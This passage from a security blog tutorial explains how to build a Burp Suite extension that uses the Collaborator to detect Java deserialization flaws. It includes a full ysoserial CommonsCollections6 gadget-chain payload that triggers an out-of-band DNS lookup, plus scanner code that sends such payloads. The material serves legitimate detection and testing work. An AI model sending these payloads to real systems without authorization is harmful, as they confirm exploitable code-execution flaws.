{"id":3720,"date":"2024-11-19T10:23:37","date_gmt":"2024-11-19T09:23:37","guid":{"rendered":"https:\/\/security.humanativaspa.it\/?p=3720"},"modified":"2026-05-05T12:22:13","modified_gmt":"2026-05-05T12:22:13","slug":"extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7","status":"publish","type":"post","link":"https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/","title":{"rendered":"Extending Burp Suite for fun and profit &#8211; The Montoya way &#8211; Part 7"},"content":{"rendered":"<ol>\n<li><a href=\"https:\/\/hnsecurity.it\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-1\">Setting up the environment + Hello World<\/a><\/li>\n<li><a href=\"https:\/\/hnsecurity.it\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-2\">Inspecting and tampering HTTP requests and responses<\/a><\/li>\n<li><a href=\"https:\/\/hnsecurity.it\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3\">Inspecting and tampering WebSocket messages<\/a><\/li>\n<li><a href=\"https:\/\/hnsecurity.it\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-4\">Creating new tabs for processing HTTP requests and responses<\/a><\/li>\n<li><a href=\"https:\/\/hnsecurity.it\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-5\/\">Adding new functionalities to the context menu (accessible by right-clicking)<\/a><\/li>\n<li><a href=\"https:\/\/hnsecurity.it\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-6\/\">Adding new checks to Burp Suite Active and Passive Scanner<\/a><\/li>\n<li><strong>-&gt; Using the Collaborator in Burp Suite plugins<\/strong><\/li>\n<li><a href=\"https:\/\/hnsecurity.it\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-8\/\">BChecks &#8211; A quick way to extend Burp Suite Active and Passive Scanner<\/a><\/li>\n<li><a href=\"https:\/\/hnsecurity.it\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-9\/\">Custom scan checks &#8211; An improved quick way to extend Burp Suite Active and Passive Scanner<\/a><\/li>\n<li><a href=\"https:\/\/hnsecurity.it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-10\/\">Burp AI<\/a><\/li>\n<li>&#8230; and much more!<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p>Hi there!<\/p>\n<p>Last time we saw how to develop an extension that will <strong>add custom active and passive checks to the Burp Scanner<\/strong>. Today we will modify that extension to detect serialization issues using different objects that, once deserialized, cause the <strong>DNS resolution of arbitrary domains <\/strong>(so, our detection will be based on external interactions rather than on timing). Burp Suite offers a perfect tool for this purpose, called <strong>Collaborator<\/strong>, which we will use within our extension.<\/p>\n<p>The <strong>Collaborator<\/strong> was developed to identify issues that do not reveal their presence in responses, but can be triggered to cause an interaction with an external server (<a href=\"https:\/\/portswigger.net\/burp\/application-security-testing\/oast\">out-of-band application security testing<\/a>). The Collaborator is effectively an authoritative service for a DNS zone that listens on the ports of major application services (HTTP, HTTPS, SMTP, SMTPS). For testing vulnerabilities of the described type, the Collaborator can generate specific URLs, which can be sent within your payloads to the target application. If the application resolves or contacts these URLs, the Collaborator will notify the tester, allowing to detect issues that would otherwise be very difficult to identify. It is a great tool, used by the Active Scanner and usable in our extensions or when we manual assess a target (e.g., from Repeater, Intruder, and Proxy).<\/p>\n<p>PortSwigger offers a public Collaborator server to all Burp Professional users, but the Collaborator can also be deployed on a private server (and it may be a good idea to do so, because payloads generated by the public Collaborator are usually employed during penetration tests by tons of testers and may consequently be filtered by targets).<\/p>\n<p>As usual, let&#8217;s start with the test case. We will use the same one from the previous lesson (see <a href=\"https:\/\/hnsecurity.it\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-6\/\">Part 6<\/a>), that is a Java application that I developed some time ago as a test case for developing an extension aimed at identifying Java deserialization issues, named <a href=\"https:\/\/github.com\/federicodotta\/Java-Deserialization-Scanner\">Java Deserialization Scanner<\/a>. The test application, in WAR format, simply deserializes objects received in different ways and with different encodings, and it is easy to add vulnerable libraries to its package. Our target will therefore be a <strong>Java application that deserializes the input sent to it<\/strong>, packaged with a vulnerable version of the Apache Commons Collections 3 libraries, which offer one of these serializable objects that allow for the execution of arbitrary Java code once deserialized. The target application can be downloaded from <a href=\"https:\/\/github.com\/federicodotta\/Burp-Suite-Extender-Montoya-Course\/tree\/main\">my Github repository<\/a>. To deploy it, a Java application server is necessary. I used <strong>Apache Tomcat<\/strong>, which is easy to configure. Specifically, I used Tomcat 9, running with OpenJDK 17 (if you use a too old version of Java, the provided application might not function correctly as it may be compiled with a more recent version of Java). Details on how to configure and run Tomcat are beyond the scope of this article.<\/p>\n<p>To generate serialization payloads to exploit most Java vulnerable libraries we can use again the <a href=\"https:\/\/github.com\/frohoff\/ysoserial\">ysoserial<\/a> tool. It&#8217;s the main tool for generating exploitation payloads for Java serialization vulnerabilities, created by <a href=\"https:\/\/github.com\/frohoff\">Chris Frohoff<\/a> (one of the researchers who discovered the issue). However, the tool is designed for exploitation and not for detection, and most of the payloads aim to execute commands on the operating system. To make detection more difficult, the exploitation is &#8220;blind,&#8221; meaning we cannot see the result of the command inserted into the payload. To address this problem, a few years ago when I wrote the Java Deserialization Scanner plugin I also made a <a href=\"https:\/\/github.com\/federicodotta\/ysoserial\">fork of ysoserial<\/a>, modifying the payloads to add some detection mechanisms.\u00a0The fork adds some modules to the tool, including the ability to generate payloads that, instead of executing commands on the operating system, execute <strong>native Java synchronous sleep <\/strong>that we used in the last article. Beside that, if also offers the ability to generate payloads that cause a <strong>native Java DNS resolution<\/strong> once deserialized, that is perfect for the <strong>reliable detection of serialization vulnerabilities using the Collaborator.<\/strong><\/p>\n<p>Before starting to modify the extension we developed in <a href=\"https:\/\/hnsecurity.it\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-6\/\">Part 6<\/a>, let&#8217; try to manually exploit the serialization issue present in the test case of Part 6 with my ysoserial fork and the Collaborator.<\/p>\n<p>First, let&#8217;s send the request executed by our application to the Repeater (refer to <a href=\"https:\/\/hnsecurity.it\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-6\/\">Part 6<\/a> for details):<\/p>\n<p><img decoding=\"async\" class=\"size-full wp-image-3727 aligncenter\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-55-1.png\" alt=\"\" width=\"1366\" height=\"464\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-55-1.png 1366w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-55-1-300x102.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-55-1-1024x348.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-55-1-768x261.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-55-1-350x119.png 350w\" sizes=\"(max-width: 1366px) 100vw, 1366px\" \/><\/p>\n<p>As we saw in Part 6, ysoserial has 5 payloads for the Apache Commons Collections 3, named CommonsCollections1, CommonsCollections3, CommonsCollections5, CommonsCollections6, and CommonsCollections7 (CommonsCollections2 and CommonsCollections4 are for the Apache Commons Collections 4). These payloads may work or not work depending on the target environment and Java version. In my environment, CommonsCollections6 works correctly (but you may have to try also the others). We want to generate a payload with a Collaborator URL, so first we need to generate a valid Collaborator URL:<\/p>\n<p><img decoding=\"async\" class=\"size-full wp-image-3730 aligncenter\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-44-1.png\" alt=\"\" width=\"1105\" height=\"534\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-44-1.png 1105w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-44-1-300x145.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-44-1-1024x495.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-44-1-768x371.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-44-1-350x169.png 350w\" sizes=\"(max-width: 1105px) 100vw, 1105px\" \/><\/p>\n<p>Then we can use the ysoserial fork to generate a payload for the Commons Collections 3 that causes a native Java DNS resolution on the supplied Collaborator URL once deserialized (refer to this <a href=\"https:\/\/github.com\/federicodotta\/ysoserial\">GitHub page<\/a> for documentation on the tool):<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"bash\">$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections6 4bg5589heitroj98ttwqau4unltch25r.oastify.com dns base64,url_encoding\r\nrO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI%2FQAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB%2BAAN4cHZyABRqYXZhLm5ldC5JbmV0QWRkcmVzcy2bV6%2Bf4%2BvbAwADSQAHYWRkcmVzc0kABmZhbWlseUwACGhvc3ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo%2F2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4AElsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAJZ2V0QnlOYW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdAAJZ2V0TWV0aG9kdXEAfgAbAAAAAnEAfgAednEAfgAbc3EAfgAUdXEAfgAYAAAAAnVxAH4AGwAAAAFxAH4AHnVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5%2Bkde0cCAAB4cAAAAAF0ACw0Ymc1NTg5aGVpdHJvajk4dHR3cWF1NHVubHRjaDI1ci5vYXN0aWZ5LmNvbXQABmludm9rZXVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB%2BABhzcQB%2BAA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4<\/pre>\n<p>The ysoserial fork also supports payload encoding. In this case, we selected &#8220;base64,url_encoding&#8221; in order to have the payload ready for the Repeater. We will use only base64 to generate payloads for the Scanner because the Scanner itself will handle URL Encoding if necessary, based on the Content Type of the request (but it usually does not handle base64 encoding, as detailed in <a href=\"https:\/\/hnsecurity.it\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-6\/\">Part 6<\/a>).<\/p>\n<p>Then we can try sending the payload to our vulnerable application and check if we have DNS interactions:<\/p>\n<p><img decoding=\"async\" class=\"size-full wp-image-3729 aligncenter\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-52-1.png\" alt=\"\" width=\"1538\" height=\"806\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-52-1.png 1538w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-52-1-300x157.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-52-1-1024x537.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-52-1-768x402.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-52-1-1536x805.png 1536w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-52-1-350x183.png 350w\" sizes=\"(max-width: 1538px) 100vw, 1538px\" \/><\/p>\n<p><img decoding=\"async\" class=\"size-full wp-image-3728 aligncenter\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-52_1-1.png\" alt=\"\" width=\"1546\" height=\"266\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-52_1-1.png 1546w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-52_1-1-300x52.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-52_1-1-1024x176.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-52_1-1-768x132.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-52_1-1-1536x264.png 1536w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-01_15-52_1-1-350x60.png 350w\" sizes=\"(max-width: 1546px) 100vw, 1546px\" \/><\/p>\n<p>We received the interaction, so the application should be vulnerable! Now, <strong>let&#8217;s use these Collaborator checks in a Burp Suite extension that extends the Active Scanner<\/strong>!<\/p>\n<p>Let&#8217;s start from the plugin we developed in <a href=\"https:\/\/hnsecurity.it\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-6\/\">Part 6<\/a> (I suggest to make a copy of it, to keep both examples). We will mainly edit the <em>activeAudit <\/em>method of the <em>CustomScanCheck <\/em>class<em>, <\/em>in order to use payloads based on the Collaborator instead of the time-based payloads we used in Part 6 (I renamed the class of the copy of the project from <em>CustomScanCheck<\/em> to <em>CustomCollaboratorScanCheck)<\/em>.<\/p>\n<p>First, we need to generate the new DNS payloads using the ysoserial fork, as we did in Part 6. Now, however, we have to handle a few additional complications. We want Burp Suite to dynamically generate Collaborator domains during a scan, insert them into the payloads, and then monitor the interactions reporting any issues. Since we don&#8217;t know which Collaborator domain will be inserted into the payloads beforehand, we can&#8217;t simply pre-generate the payloads. There are several ways to handle this: we can either call ysoserial directly from our plugin and have it generate the payloads, integrate ysoserial code into our plugin, or insert a placeholder instead of the Collaborator domain and then replace it with the actual domain during the scan using a &#8220;match and replace&#8221; approach. To keep the plugin clean, <a href=\"https:\/\/github.com\/federicodotta\/Java-Deserialization-Scanner\">Java Deserialization Scanner<\/a> has implemented this third approach, and we will do the same in our example.<\/p>\n<p>Unfortunately, serialized objects are binary, so we can&#8217;t simply replace the placeholder with our Collaborator domain using a straightforward match and replace. We need to respect the binary format, which means <strong>we&#8217;ll have to modify certain fields of the object to replace the length of the placeholder with the length of the domain generated by the Collaborator<\/strong>. This adjustment is necessary because, as mentioned at the beginning of the article, it&#8217;s possible to deploy your own Collaborator server for a custom DNS zone, which means the domain length can&#8217;t be predetermined.<\/p>\n<p>Let&#8217;s proceed step by step. We&#8217;ll start with generating our payloads using the <a href=\"https:\/\/github.com\/federicodotta\/ysoserial\">fork of ysoserial<\/a>, using &#8220;XXXXX&#8221; as the placeholder for the payload domain (dns payloads require only a domain as argument, refer to the documentation on the GitHub page of my ysoserial fork for more details):<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"bash\">$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections1 XXXXX dns base64\r\nrO0ABXNyADJ[...]AAAAAHhwcQB+ADc=\r\n\r\n$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections3 XXXXX dns base64\r\nrO0ABXNyADJz[...]AAAAeHBxAH4ALg==\r\n\r\n$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections5 XXXXX dns base64\r\nrO0ABXNyAC5q[...]cIAAAAEAAAAAB4eA==\r\n\r\n$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections6 XXXXX dns base64\r\nrO0ABXNyABF[...]BAAAAAAeHh4\r\n\r\n$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections7 XXXXX dns base64\r\nrO0ABXNyABNqYXZhL[...]c3EAfgAqAAAAAng=<\/pre>\n<p>We can put these payloads in the\u00a0<em>StaticItems<\/em> class, replacing time payloads:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">package org.fd.montoyatutorial;\r\n\r\nimport burp.api.montoya.scanner.audit.issues.AuditIssueConfidence;\r\nimport burp.api.montoya.scanner.audit.issues.AuditIssueSeverity;\r\n\r\npublic class StaticItems {\r\n\r\n    public static String[] apacheCommonsCollections3Payloads = new String[] {\"rO0ABXNy[...]cQB+ADc=\",\r\n            \"rO0ABXNyA[...]eHBxAH4ALg==\",\r\n            \"rO0ABXNyAC5q[...]EAAAAAB4eA==\",\r\n            \"rO0ABXN[...]AABAAAAAAeHh4\",\r\n            \"rO0ABXNy[...]AAng=\"};\r\n\r\n    [...]\r\n\r\n}\r\n<\/pre>\n<p>And now we can start to update our\u00a0<em>activeAudit<\/em> method. This is the skeleton of our method, with TODO in the parts that we have to fill with our new logic based on the Collaborator (the other portions of the method are copied and pasted from the example we wrote in Part 6):<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\">@Override\r\npublic AuditResult activeAudit(HttpRequestResponse baseRequestResponse, AuditInsertionPoint auditInsertionPoint) {\r\n\r\n    \/\/ Inizialize an empty list of audit issues that we will eventually populate and return at the end of the function\r\n    List&lt;AuditIssue&gt; activeAuditIssues = new ArrayList&lt;AuditIssue&gt;();\r\n\r\n    \/\/ For each CommonsCollections 3 payload we defined, we try to exploit the issue\r\n    for(int i = 0; i&lt; StaticItems.apacheCommonsCollections3Payloads.length; i++) {\r\n\r\n        \/\/ TODO We generate a Collaborator URL\r\n\r\n        \/\/ TODO We update our serialized object inserting the generated Collaborator URL\r\n        ByteArray payloadWithCollaboratorUrl = null;\r\n\r\n        \/\/ We create an HTTP request containing our payload in the current insertion point\r\n        HttpRequest commonsCollectionsCheckRequest = auditInsertionPoint.buildHttpRequestWithPayload(\r\n                payloadWithCollaboratorUrl).withService(baseRequestResponse.httpService());\r\n\r\n        \/\/ We send the request containing the payload\r\n        HttpRequestResponse commonsCollectionsCheckRequestResponse = api.http().sendRequest(commonsCollectionsCheckRequest);\r\n\r\n        \/\/ TODO We retrieve the interactions received by the Collaborator related to our specific Collaborator URL\r\n        List&lt;Interaction&gt; interactionList = null;\r\n\r\n        if(interactionList.size() &gt; 0) {\r\n\r\n            \/\/ If we have interactions, we create an issue object and adds it to the list of issues to be returned\r\n            AuditIssue auditIssue = AuditIssue.auditIssue(StaticItems.apacheCommonsCollections3IssueName,\r\n                    StaticItems.apacheCommonsCollections3IssueDetail,\r\n                    null, \/\/ remediation\r\n                    baseRequestResponse.request().url(),\r\n                    StaticItems.apacheCommonsCollections3IssueSeverity,\r\n                    StaticItems.apacheCommonsCollections3IssueConfidence,\r\n                    null, \/\/ background\r\n                    null, \/\/ remediationBackground\r\n                    StaticItems.apacheCommonsCollections3IssueTypicalSeverity,\r\n                    commonsCollectionsCheckRequestResponse); \/\/Request\/response can be highlighted\r\n\r\n            activeAuditIssues.add(auditIssue);\r\n\r\n        }\r\n\r\n    }\r\n\r\n    \/\/ Return the list of issues\r\n    return AuditResult.auditResult(activeAuditIssues);\r\n\r\n}<\/pre>\n<p>Collaborator APIs are offered by the usual\u00a0<em><a href=\"https:\/\/portswigger.github.io\/burp-extensions-montoya-api\/javadoc\/burp\/api\/montoya\/MontoyaApi.html\">MontoyaApi<\/a>\u00a0<\/em>object, supplied to every extension in the\u00a0<em>initialize\u00a0<\/em>method, through the <em>collaborator<\/em> function, that returns an object of type <a href=\"https:\/\/portswigger.github.io\/burp-extensions-montoya-api\/javadoc\/burp\/api\/montoya\/collaborator\/Collaborator.html\"><em>Collaborator<\/em><\/a>:<\/p>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-3750\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_12-02-1.png\" alt=\"\" width=\"1678\" height=\"404\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_12-02-1.png 1678w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_12-02-1-300x72.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_12-02-1-1024x247.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_12-02-1-768x185.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_12-02-1-1536x370.png 1536w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_12-02-1-350x84.png 350w\" sizes=\"(max-width: 1678px) 100vw, 1678px\" \/><\/p>\n<p>The Collaborator object offers three methods:<\/p>\n<ul>\n<li><span class=\"return-type\">CollaboratorClient<\/span>\u00a0<strong><span class=\"element-name\">createClient<\/span><\/strong>(): this method creates a new Collaborator client, that we can use to generate Collaborator payloads and to retrieve interactions received to those payloads.<\/li>\n<li><span class=\"return-type\">CollaboratorClient<\/span>\u00a0<strong><span class=\"element-name\">restoreClient<\/span><\/strong><wbr \/><span class=\"parameters\">(SecretKey secretKey): this method (that was not available in the old Legacy API) can be used to restore a Collaborator client generated in a previous session. Before the introduction of this feature, if our extension generated payloads with a Collaborator client and the interactions arrived after Burp Suite was closed (or the plugin was reloaded), those interactions would be lost. This was because Burp would lose the context associated with the Collaborator client, and there was no way to save it. Now, we can save the key associated with a Collaborator client (wherever we want) and use it to restore the Collaborator client, allowing us to receive interactions even after Burp Suite has been closed.<\/span><\/li>\n<li><span class=\"return-type\">CollaboratorPayloadGenerator<\/span>\u00a0<strong><span class=\"element-name\">defaultPayloadGenerator<\/span><\/strong>(): this method can be used to obtain a reference to the Collaborator payload generator linked to the Collaborator tab. Interactions received using a Collaborator client obtained with the <em>createClient <\/em>method are not shown in the Collaborator tab; they can only be accessed using specific functions provided by the <span class=\"return-type\"><em>CollaboratorClient<\/em> object<\/span>. On the other hand, the <em>defaultPayloadGenerator<\/em> method allows us to generate payloads whose interactions will be displayed in the Collaborator tab (but cannot be retrieved from our extension). This method is useful when developing an extension to assist with manual testing, whereas the <em><span class=\"return-type\">CollaboratorClient<\/span><\/em> obtained with the <em><span class=\"element-name\">createClient<\/span><\/em> is more useful when we need to extend the scanner, as in our current case.<\/li>\n<\/ul>\n<p>So, we need a new Collaborator client in our plugin, that we can obtain and save in the constructor of our scan check:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\">CollaboratorClient collaboratorClient;\r\n\r\npublic CustomCollaboratorScanCheck(MontoyaApi api) {\r\n\r\n    \/\/ Save references to usefull objects\r\n    this.api = api;\r\n    this.utilities = this.api.utilities();\r\n\r\n    \/\/ Create a new instance of the Collaborator client\r\n    this.collaboratorClient = this.api.collaborator().createClient();\r\n\r\n}<\/pre>\n<p>Now we can use the Collaborator Client in our <em>activeAudit\u00a0<\/em>method. Let&#8217;s have a look at the documentation of the <em><a href=\"https:\/\/portswigger.github.io\/burp-extensions-montoya-api\/javadoc\/burp\/api\/montoya\/collaborator\/CollaboratorClient.html\">CollaboratorClient<\/a> <\/em>object:<\/p>\n<p><img decoding=\"async\" class=\"size-full wp-image-3753 aligncenter\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_14-34-1.png\" alt=\"\" width=\"1259\" height=\"721\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_14-34-1.png 1259w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_14-34-1-300x172.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_14-34-1-1024x586.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_14-34-1-768x440.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_14-34-1-350x200.png 350w\" sizes=\"(max-width: 1259px) 100vw, 1259px\" \/><\/p>\n<p>As we can see, we have <strong>two methods to generate payloads<\/strong>, one that generates only an URL and one that can contains custom data that can be retrieved from interactions, <strong>two methods to retrieve interactions<\/strong>, one that returns all the interactions (only related to payloads generated by the specific Collaborator client) and one that can be used to retrieve interactions of specific payloads, <strong>one method that return the secret key<\/strong>, necessary to restore the Collaborator client if necessary, <strong>and one method that returns the address of the Collaborator server.<\/strong><\/p>\n<p>Let&#8217;s use these functions in our <em>activeAudit <\/em>method:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\">public ByteArray createDnsPayload(ByteArray genericPayload, String collaboratorURL) {\r\n\r\n    \/\/ This method takes as input a ysoserial payload with the XXXXX placeholder and a Collaborator payload and replace\r\n    \/\/ the placeholder with the Collaborator payload, fixing the various lengths of the binary object.\r\n\r\n}\r\n\r\n@Override\r\npublic AuditResult activeAudit(HttpRequestResponse baseRequestResponse, AuditInsertionPoint auditInsertionPoint) {\r\n\r\n    \/\/ Inizialize an empty list of audit issues that we will eventually populate and return at the end of the function\r\n    List&lt;AuditIssue&gt; activeAuditIssues = new ArrayList&lt;AuditIssue&gt;();\r\n\r\n    \/\/ For each CommonsCollections 3 payload we defined, we try to exploit the issue\r\n    for(int i = 0; i&lt; StaticItems.apacheCommonsCollections3Payloads.length; i++) {\r\n\r\n        \/\/ 1 - We generate a Collaborator URL\r\n        String collaboratorUrl = collaboratorClient.generatePayload().toString();\r\n\r\n        \/\/ 2 - We update our serialized object inserting the generated Collaborator URL\r\n        ByteArray payloadWithCollaboratorUrl = utilities.base64Utils().encode(\r\n                createDnsPayload(\r\n                        utilities.base64Utils().decode(StaticItems.apacheCommonsCollections3Payloads[i]),\r\n                        collaboratorUrl));\r\n\r\n        \/\/ We create an HTTP request containing our payload in the current insertion point\r\n        HttpRequest commonsCollectionsCheckRequest = auditInsertionPoint.buildHttpRequestWithPayload(\r\n                payloadWithCollaboratorUrl).withService(baseRequestResponse.httpService());\r\n\r\n        \/\/ We send the request containing the payload\r\n        HttpRequestResponse commonsCollectionsCheckRequestResponse = api.http().sendRequest(commonsCollectionsCheckRequest);\r\n\r\n        \/\/ 3 - We retrieve the interactions received by the Collaborator related to our specific Collaborator URL\r\n        List&lt;Interaction&gt; interactionList = collaboratorClient.getInteractions(InteractionFilter.interactionPayloadFilter(collaboratorUrl));\r\n\r\n        if(interactionList.size() &gt; 0) {\r\n\r\n            \/\/ If we have interactions, we create an issue object and adds it to the list of issues to be returned\r\n            AuditIssue auditIssue = AuditIssue.auditIssue(StaticItems.apacheCommonsCollections3IssueName,\r\n                    StaticItems.apacheCommonsCollections3IssueDetail,\r\n                    null, \/\/ remediation\r\n                    baseRequestResponse.request().url(),\r\n                    StaticItems.apacheCommonsCollections3IssueSeverity,\r\n                    StaticItems.apacheCommonsCollections3IssueConfidence,\r\n                    null, \/\/ background\r\n                    null, \/\/ remediationBackground\r\n                    StaticItems.apacheCommonsCollections3IssueTypicalSeverity,\r\n                    commonsCollectionsCheckRequestResponse); \/\/Request\/response can be highlighted\r\n\r\n            activeAuditIssues.add(auditIssue);\r\n\r\n        }\r\n\r\n    }\r\n\r\n    \/\/ Return the list of issues\r\n    return AuditResult.auditResult(activeAuditIssues);\r\n\r\n}<\/pre>\n<p>We edited the TODO we had before, respectively (following the numbers in the comments):<\/p>\n<ol>\n<li>We <strong>generated a Collaborator payload<\/strong> (that is an object of type <a href=\"https:\/\/portswigger.github.io\/burp-extensions-montoya-api\/javadoc\/burp\/api\/montoya\/collaborator\/CollaboratorPayload.html\"><em>CollaboratorPayload<\/em><\/a>) and we got the full domain of the payload with the <em>toString<\/em> method. A Collaborator payload usually is a domain, made up of an identifier as third level domain concatenated to the supplied Collaborator domain name (or &#8220;oastify.com&#8221; at the moment if we use PortSwigger default public Collaborator). Consequently, if we generate a Collaborator URL using PortSwigger default Collaborator we obtain something as &#8220;geyuzopwxo3kvogmmsak60oew52wqmeb.oastify.com&#8221;, where &#8220;geyuzopwxo3kvogmmsak60oew52wqmeb&#8221; is the ID of the payload.<\/li>\n<li>Here we used the <em>createDnsPayload 